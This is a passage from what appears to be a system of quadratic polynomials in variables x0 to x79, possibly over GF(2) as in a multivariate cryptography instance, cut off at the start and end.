x41*x44 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x57 + x41*x58 + x41*x63 + x41*x67 + x41*x68 + x41*x71 + x41*x74 + x41*x76 + x41 + x42*x43 + x42*x47 + x42*x52 + x42*x54 + x42*x55 + x42*x59 + x42*x60 + x42*x61 + x42*x73 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x45 + x43*x47 + x43*x51 + x43*x52 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x68 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x76 + x43*x78 + x43*x79 + x43 + x44*x46 + x44*x48 + x44*x49 + x44*x50 + x44*x52 + x44*x53 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x61 + x44*x65 + x44*x68 + x44*x69 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x44*x79 + x45*x46 + x45*x48 + x45*x51 + x45*x55 + x45*x60 + x45*x62 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45*x78 + x46*x47 + x46*x49 + x46*x50 + x46*x52 + x46*x54 + x46*x55 + x46*x58 + x46*x59 + x46*x60 + x46*x63 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x71 + x46*x73 + x46*x79 + x46 + x47*x49 + x47*x50 + x47*x54 + x47*x55 + x47*x56 + x47*x57 + x47*x58 + x47*x59 + x47*x62 + x47*x63 + x47*x66 + x47*x67 + x47*x69 + x47*x71 + x47*x73 + x47*x74 + x47*x75 + x47*x76 + x47*x79 + x47 + x48*x52 + x48*x54 + x48*x55 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x67 + x48*x69 + x48*x75 + x48*x76 + x48*x79 + x49*x54 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x69 + x49*x70 + x49*x73 + x49*x75 + x50*x51 + x50*x54 + x50*x55 + x50*x56 + x50*x62 + x50*x64 + x50*x65 + x50*x70 + x50*x71 + x50*x73 + x50*x75 + x50*x76 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x59 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x68 + x51*x69 + x51*x75 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x57 + x52*x61 + x52*x63 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x72 + x52*x73 + x52*x76 + x52*x77 + x52*x79 + x53*x55 + x53*x56 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x73 + x53*x74 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x61 + x54*x65 + x54*x67 + x54*x68 + x54*x71 + x54*x74 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x67 + x55*x69 + x55*x70 + x55*x72 + x55*x77 + x55*x79 + x56*x60 + x56*x61 + x56*x62 + x56*x64 + x56*x65 + x56*x69 + x56*x72 + x56*x73 + x56*x75 + x56*x77 + x56*x79 + x56 + x57*x58 + x57*x62 + x57*x63 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x79 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x67 + x58*x70 + x58*x71 + x58*x72 + x58*x76 + x58*x78 + x58 + x59*x60 + x59*x63 + x59*x64 + x59*x67 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x77 + x60*x65 + x60*x69 + x60*x76 + x60*x77 + x60*x79 + x60 + x61*x64 + x61*x65 + x61*x68 + x61*x69 + x61*x72 + x61*x75 + x61*x76 + x61*x78 + x61*x79 + x62*x64 + x62*x68 + x62*x70 + x62*x71 + x62*x74 + x62*x75 + x62*x77 + x62*x78 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63 + x64*x65 + x64*x70 + x64*x73 + x64*x76 + x64*x78 + x64 + x65*x66 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x77 + x65*x78 + x66*x69 + x66*x70 + x66*x73 + x66*x74 + x66*x76 + x66*x78 + x66 + x67*x68 + x67*x70 + x67*x72 + x67*x74 + x67*x76 + x67*x78 + x67*x79 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x74 + x68*x76 + x68*x77 + x68*x79 + x69*x72 + x69*x75 + x69*x76 + x69*x77 + x69*x78 + x70*x72 + x70*x73 + x70*x74 + x70*x76 + x70*x77 + x70*x79 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x79 + x71 + x72*x75 + x72*x77 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x79 + x73 + x74*x77 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75*x78 + x76*x79 + x76 + x78*x79 + x79 + 1, x0*x4 + x0*x6 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x18 + x0*x19 + x0*x20 + x0*x21 + x0*x24 + x0*x28 + x0*x34 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x62 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x73 + x0*x74 + x0*x76 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x4 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x34 + x1*x35 + x1*x41 + x1*x42 + x1*x44 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x51 + x1*x55 + x1*x56 + x1*x57 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x67 + x1*x68 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x78 + x1*x79 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x10 + x2*x13 + x2*x14 + x2*x15 + x2*x17 + x2*x20 + x2*x23 + x2*x26 + x2*x29 + x2*x34 + x2*x36 + x2*x37 + x2*x40 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x55 + x2*x57 + x2*x60 + x2*x62 + x2*x65 + x2*x67 + x2*x71 + x2*x75 + x2*x76 + x2*x78 + x3*x5 + x3*x9 + x3*x10 + x3*x11 + x3*x15 + x3*x17 + x3*x19 + x3*x23 + x3*x24 + x3*x25 + x3*x28 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x42 + x3*x46 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x53 + x3*x54 + x3*x57 + x3*x59 + x3*x61 + x3*x62 + x3*x66 + x3*x69 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x10 + x4*x12 + x4*x14 + x4*x17 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x26 + x4*x28 + x4*x30 + x4*x32 + x4*x33 + x4*x35 + x4*x38 + x4*x39 + x4*x41 + x4*x42 + x4*x43 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x52 + x4*x55 + x4*x57 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x71 + x4*x73 + x4*x75 + x4*x79 + x5*x9 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x21 + x5*x22 + x5*x23 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x38 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x44 + x5*x47 + x5*x48 + x5*x51 + x5*x52 + x5*x54 + x5*x55 + x5*x57 + x5*x58 + x5*x59 + x5*x69 + x5*x70 + x5*x72 + x5*x73 + x5*x74 + x5*x77 + x5*x78 + x5*x79 + x6*x7 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x15 + x6*x22 + x6*x23 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x33 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x40 + x6*x42 + x6*x43 + x6*x44 + x6*x46 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x56 + x6*x57 + x6*x61 + x6*x64 + x6*x66 + x6*x69 + x6*x70 + x6*x71 + x6*x74 + x6*x76 + x6*x77 + x6*x79 + x6 + x7*x10 + x7*x14 + x7*x16 + x7*x18 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x25 + x7*x26 + x7*x30 + x7*x32 + x7*x34 + x7*x36 + x7*x41 + x7*x42 + x7*x45 + x7*x47 + x7*x49 + x7*x51 + x7*x53 + x7*x55 + x7*x56 + x7*x60 + x7*x62 + x7*x63 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x18 + x8*x19 + x8*x21 + x8*x23 + x8*x24 + x8*x25 + x8*x26 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x41 + x8*x45 + x8*x48 + x8*x50 + x8*x52 + x8*x53 + x8*x58 + x8*x60 + x8*x61 + x8*x63 + x8*x71 + x8*x72 + x8*x75 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x15 + x9*x16 + x9*x17 + x9*x21 + x9*x23 + x9*x25 + x9*x27 + x9*x33 + x9*x35 + x9*x37 + x9*x41 + x9*x43 + x9*x45 + x9*x47 + x9*x51 + x9*x52 + x9*x54 + x9*x57 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x73 + x9*x76 + x9*x79 + x10*x11 + x10*x12 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x28 + x10*x30 + x10*x31 + x10*x35 + x10*x39 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x49 + x10*x51 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x59 + x10*x61 + x10*x62 + x10*x63 + x10*x65 + x10*x68 + x10*x71 + x10*x74 + x10*x76 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x16 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x27 + x11*x28 + x11*x29 + x11*x32 + x11*x33 + x11*x35 + x11*x38 + x11*x39 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x50 + x11*x55 + x11*x58 + x11*x61 + x11*x62 + x11*x65 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x76 + x11*x77 + x11*x79 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x18 + x12*x20 + x12*x22 + x12*x24 + x12*x25 + x12*x28 + x12*x31 + x12*x32 + x12*x38 + x12*x39 + x12*x43 + x12*x47 + x12*x52 + x12*x53 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x66 + x12*x67 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x13*x14 + x13*x16 + x13*x19 + x13*x20 + x13*x25 + x13*x28 + x13*x31 + x13*x33 + x13*x34 + x13*x39 + x13*x41 + x13*x42 + x13*x45 + x13*x48 + x13*x49 + x13*x51 + x13*x57 + x13*x61 + x13*x62 + x13*x64 + x13*x66 + x13*x68 + x13*x69 + x13*x70 + x13*x71 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x14*x15 + x14*x17 + x14*x19 + x14*x21 + x14*x22 + x14*x25 + x14*x27 + x14*x28 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x36 + x14*x37 + x14*x39 + x14*x44 + x14*x45 + x14*x47 + x14*x48 + x14*x50 + x14*x54 + x14*x55 + x14*x57 + x14*x60 + x14*x64 + x14*x65 + x14*x69 + x14*x71 + x14*x72 + x14*x73 + x14*x75 + x14*x79 + x15*x18 + x15*x21 + x15*x23 + x15*x33 + x15*x34 + x15*x35 + x15*x36 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x49 + x15*x51 + x15*x52 + x15*x55 + x15*x58 + x15*x60 + x15*x62 + x15*x65 + x15*x66 + x15*x70 + x15*x71 + x15*x72 + x15*x76 + x15*x78 + x16*x17 + x16*x19 + x16*x21 + x16*x23 + x16*x26 + x16*x27 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x34 + x16*x36 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x71 + x16*x72 + x16*x73 + x16*x76 + x16*x77 + x16*x79 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x26 + x17*x29 + x17*x30 + x17*x31 + x17*x32 + x17*x33 + x17*x36 + x17*x38 + x17*x44 + x17*x47 + x17*x48 + x17*x49 + x17*x52 + x17*x53 + x17*x57 + x17*x58 + x17*x59 + x17*x62 + x17*x63 + x17*x66 + x17*x68 + x17*x71 + x17*x72 + x17*x74 + x17*x75 + x17*x76 + x17*x79 + x17 + x18*x19 + x18*x23 + x18*x24 + x18*x28 + x18*x33 + x18*x35 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x49 + x18*x54 + x18*x56 + x18*x57 + x18*x60 + x18*x61 + x18*x63 + x18*x64 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x73 + x18*x76 + x18*x77 + x18*x78 + x18*x79 + x19*x23 + x19*x24 + x19*x25 + x19*x27 + x19*x31 + x19*x34 + x19*x37 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x46 + x19*x47 + x19*x49 + x19*x55 + x19*x57 + x19*x58 + x19*x60 + x19*x61 + x19*x62 + x19*x65 + x19*x74 + x19*x75 + x19*x76 + x19*x78 + x19 + x20*x22 + x20*x23 + x20*x24 + x20*x26 + x20*x27 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x39 + x20*x40 + x20*x45 + x20*x46 + x20*x50 + x20*x53 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x71 + x20*x72 + x20*x77 + x20 + x21*x23 + x21*x28 + x21*x29 + x21*x33 + x21*x34 + x21*x35 + x21*x41 + x21*x44 + x21*x46 + x21*x47 + x21*x50 + x21*x55 + x21*x57 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x69 + x21*x71 + x21*x72 + x21*x74 + x21*x75 + x21*x77 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x27 + x22*x28 + x22*x29 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x37 + x22*x39 + x22*x42 + x22*x43 + x22*x44 + x22*x50 + x22*x51 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x66 + x22*x67 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x31 + x23*x33 + x23*x37 + x23*x38 + x23*x41 + x23*x42 + x23*x43 + x23*x46 + x23*x48 + x23*x49 + x23*x51 + x23*x54 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x62 + x23*x63 + x23*x65 + x23*x67 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x78 + x23*x79 + x23 + x24*x25 + x24*x26 + x24*x27 + x24*x29 + x24*x32 + x24*x34 + x24*x36 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x51 + x24*x52 + x24*x53 + x24*x57 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x68 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x25*x30 + x25*x32 + x25*x33 + x25*x35 + x25*x36 + x25*x40 + x25*x41 + x25*x42 + x25*x43 + x25*x44 + x25*x49 + x25*x51 + x25*x53 + x25*x56 + x25*x58 + x25*x59 + x25*x60 + x25*x63 + x25*x69 + x25*x70 + x25*x74 + x25*x75 + x25*x78 + x25*x79 + x26*x28 + x26*x29 + x26*x30 + x26*x32 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x39 + x26*x40 + x26*x45 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x54 + x26*x55 + x26*x57 + x26*x64 + x26*x69 + x26*x78 + x26*x79 + x26 + x27*x31 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x40 + x27*x41 + x27*x42 + x27*x45 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x56 + x27*x59 + x27*x61 + x27*x65 + x27*x71 + x27*x73 + x27*x74 + x27*x78 + x27 + x28*x29 + x28*x32 + x28*x34 + x28*x37 + x28*x38 + x28*x41 + x28*x44 + x28*x49 + x28*x52 + x28*x53 + x28*x55 + x28*x57 + x28*x60 + x28*x61 + x28*x63 + x28*x66 + x28*x69 + x28*x70 + x28*x72 + x28*x73 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x29*x33 + x29*x37 + x29*x38 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x48 + x29*x50 + x29*x51 + x29*x58 + x29*x62 + x29*x64 + x29*x65 + x29*x66 + x29*x69 + x29*x70 + x29*x71 + x29*x73 + x29*x79 + x30*x31 + x30*x33 + x30*x35 + x30*x37 + x30*x39 + x30*x44 + x30*x49 + x30*x50 + x30*x52 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x63 + x30*x69 + x30*x71 + x30*x72 + x30*x75 + x30*x76 + x30*x79 + x31*x36 + x31*x37 + x31*x39 + x31*x43 + x31*x44 + x31*x46 + x31*x48 + x31*x49 + x31*x50 + x31*x52 + x31*x54 + x31*x56 + x31*x57 + x31*x61 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x79 + x31 + x32*x34 + x32*x36 + x32*x37 + x32*x40 + x32*x42 + x32*x47 + x32*x49 + x32*x50 + x32*x51 + x32*x53 + x32*x59 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x50 + x33*x53 + x33*x54 + x33*x57 + x33*x63 + x33*x65 + x33*x66 + x33*x67 + x33*x70 + x33*x74 + x33*x75 + x33*x76 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x43 + x34*x44 + x34*x45 + x34*x48 + x34*x50 + x34*x51 + x34*x54 + x34*x56 + x34*x57 + x34*x58 + x34*x60 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x70 + x34*x71 + x34*x73 + x34*x75 + x34*x77 + x35*x38 + x35*x41 + x35*x42 + x35*x44 + x35*x45 + x35*x46 + x35*x47 + x35*x49 + x35*x52 + x35*x53 + x35*x56 + x35*x57 + x35*x60 + x35*x61 + x35*x62 + x35*x64 + x35*x65 + x35*x66 + x35*x67 + x35*x69 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x39 + x36*x40 + x36*x43 + x36*x44 + x36*x48 + x36*x49 + x36*x52 + x36*x54 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x65 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x37*x39 + x37*x43 + x37*x44 + x37*x45 + x37*x48 + x37*x50 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x74 + x37*x76 + x37*x78 + x37*x79 + x38*x40 + x38*x41 + x38*x43 + x38*x45 + x38*x46 + x38*x51 + x38*x53 + x38*x55 + x38*x57 + x38*x60 + x38*x61 + x38*x63 + x38*x64 + x38*x65 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x39*x41 + x39*x44 + x39*x45 + x39*x47 + x39*x48 + x39*x50 + x39*x52 + x39*x54 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x63 + x39*x64 + x39*x66 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x72 + x39*x77 + x39*x78 + x39 + x40*x43 + x40*x45 + x40*x46 + x40*x48 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x70 + x40*x73 + x40*x76 + x40 + x41*x47 + x41*x49 + x41*x50 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x62 + x41*x65 + x41*x66 + x41*x67 + x41*x68 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x45 + x42*x52 + x42*x53 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x74 + x42*x76 + x42*x78 + x42 + x43*x45 + x43*x46 + x43*x48 + x43*x51 + x43*x53 + x43*x56 + x43*x57 + x43*x61 + x43*x63 + x43*x64 + x43*x65 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x44*x46 + x44*x47 + x44*x49 + x44*x51 + x44*x53 + x44*x55 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x64 + x44*x66 + x44*x67 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x76 + x44*x77 + x44 + x45*x46 + x45*x47 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x60 + x45*x67 + x45*x69 + x45*x70 + x45*x71 + x45*x76 + x45*x78 + x45*x79 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x61 + x46*x62 + x46*x66 + x46*x67 + x46*x69 + x46*x74 + x46*x76 + x47*x48 + x47*x53 + x47*x55 + x47*x56 + x47*x57 + x47*x63 + x47*x65 + x47*x66 + x47*x70 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47*x79 + x48*x52 + x48*x53 + x48*x55 + x48*x57 + x48*x58 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x66 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x75 + x48*x79 + x48 + x49*x51 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x71 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x52 + x50*x53 + x50*x58 + x50*x59 + x50*x60 + x50*x62 + x50*x64 + x50*x66 + x50*x67 + x50*x68 + x50*x73 + x50*x74 + x50*x78 + x51*x52 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x78 + x52*x56 + x52*x59 + x52*x61 + x52*x64 + x52*x65 + x52*x66 + x52*x69 + x52*x70 + x52*x71 + x52*x74 + x52*x75 + x52*x76 + x52*x78 + x52 + x53*x59 + x53*x60 + x53*x62 + x53*x63 + x53*x66 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x74 + x53*x76 + x53*x78 + x53 + x54*x55 + x54*x56 + x54*x60 + x54*x61 + x54*x62 + x54*x64 + x54*x66 + x54*x68 + x54*x69 + x54*x72 + x54*x74 + x54*x75 + x54*x76 + x54*x77 + x54 + x55*x57 + x55*x58 + x55*x62 + x55*x65 + x55*x67 + x55*x70 + x55*x73 + x55*x77 + x55*x78 + x56*x57 + x56*x58 + x56*x64 + x56*x67 + x56*x68 + x56*x70 + x56*x72 + x56*x73 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x64 + x57*x65 + x57*x67 + x57*x68 + x57*x70 + x57*x71 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x58*x60 + x58*x61 + x58*x64 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x75 + x58*x77 + x59*x60 + x59*x63 + x59*x66 + x59*x67 + x59*x70 + x59*x71 + x59*x73 + x59*x75 + x59*x76 + x59*x78 + x59*x79 + x59 + x60*x65 + x60*x67 + x60*x68 + x60*x69 + x60*x70 + x60*x72 + x60*x74 + x60*x76 + x60*x79 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x71 + x61*x72 + x61*x73 + x61*x76 + x61*x77 + x61*x79 + x62*x64 + x62*x65 + x62*x72 + x62*x74 + x62*x75 + x62*x76 + x62*x78 + x63*x67 + x63*x68 + x63*x70 + x63*x73 + x63*x75 + x63*x77 + x63 + x64*x67 + x64*x71 + x64*x72 + x64*x73 + x64*x75 + x64*x77 + x64*x78 + x65*x66 + x65*x68 + x65*x69 + x65*x72 + x65*x73 + x65*x77 + x65*x78 + x66*x70 + x66*x72 + x66*x73 + x66*x74 + x66*x78 + x66 + x67*x69 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x79 + x68*x74 + x68*x77 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x71 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x73 + x70*x74 + x70*x76 + x70 + x71*x74 + x71*x75 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72 + x73*x74 + x73*x78 + x73 + x74*x76 + x74*x77 + x74*x79 + x74 + x75*x78 + x76 + x77*x78 + x77 + x79 + 1, x0*x1 + x0*x3 + x0*x4 + x0*x6 + x0*x9 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x21 + x0*x22 + x0*x23 + x0*x26 + x0*x27 + x0*x29 + x0*x30 + x0*x41 + x0*x46 + x0*x47 + x0*x48 + x0*x50 + x0*x51 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x60 + x0*x62 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x76 + x0*x79 + x0 + x1*x3 + x1*x4 + x1*x5 + x1*x8 + x1*x9 + x1*x12 + x1*x18 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x27 + x1*x29 + x1*x32 + x1*x33 + x1*x35 + x1*x43 + x1*x46 + x1*x47 + x1*x50 + x1*x51 + x1*x52 + x1*x53 + x1*x55 + x1*x56 + x1*x57 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x2*x3 + x2*x4 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x19 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x27 + x2*x28 + x2*x33 + x2*x35 + x2*x36 + x2*x39 + x2*x40 + x2*x42 + x2*x44 + x2*x46 + x2*x48 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x58 + x2*x59 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x66 + x2*x68 + x2*x71 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x11 + x3*x13 + x3*x14 + x3*x15 + x3*x16 + x3*x18 + x3*x21 + x3*x24 + x3*x25 + x3*x26 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x34 + x3*x35 + x3*x38 + x3*x39 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x53 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x70 + x3*x77 + x3*x78 + x3*x79 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x15 + x4*x17 + x4*x18 + x4*x19 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x29 + x4*x31 + x4*x34 + x4*x38 + x4*x43 + x4*x44 + x4*x45 + x4*x47 + 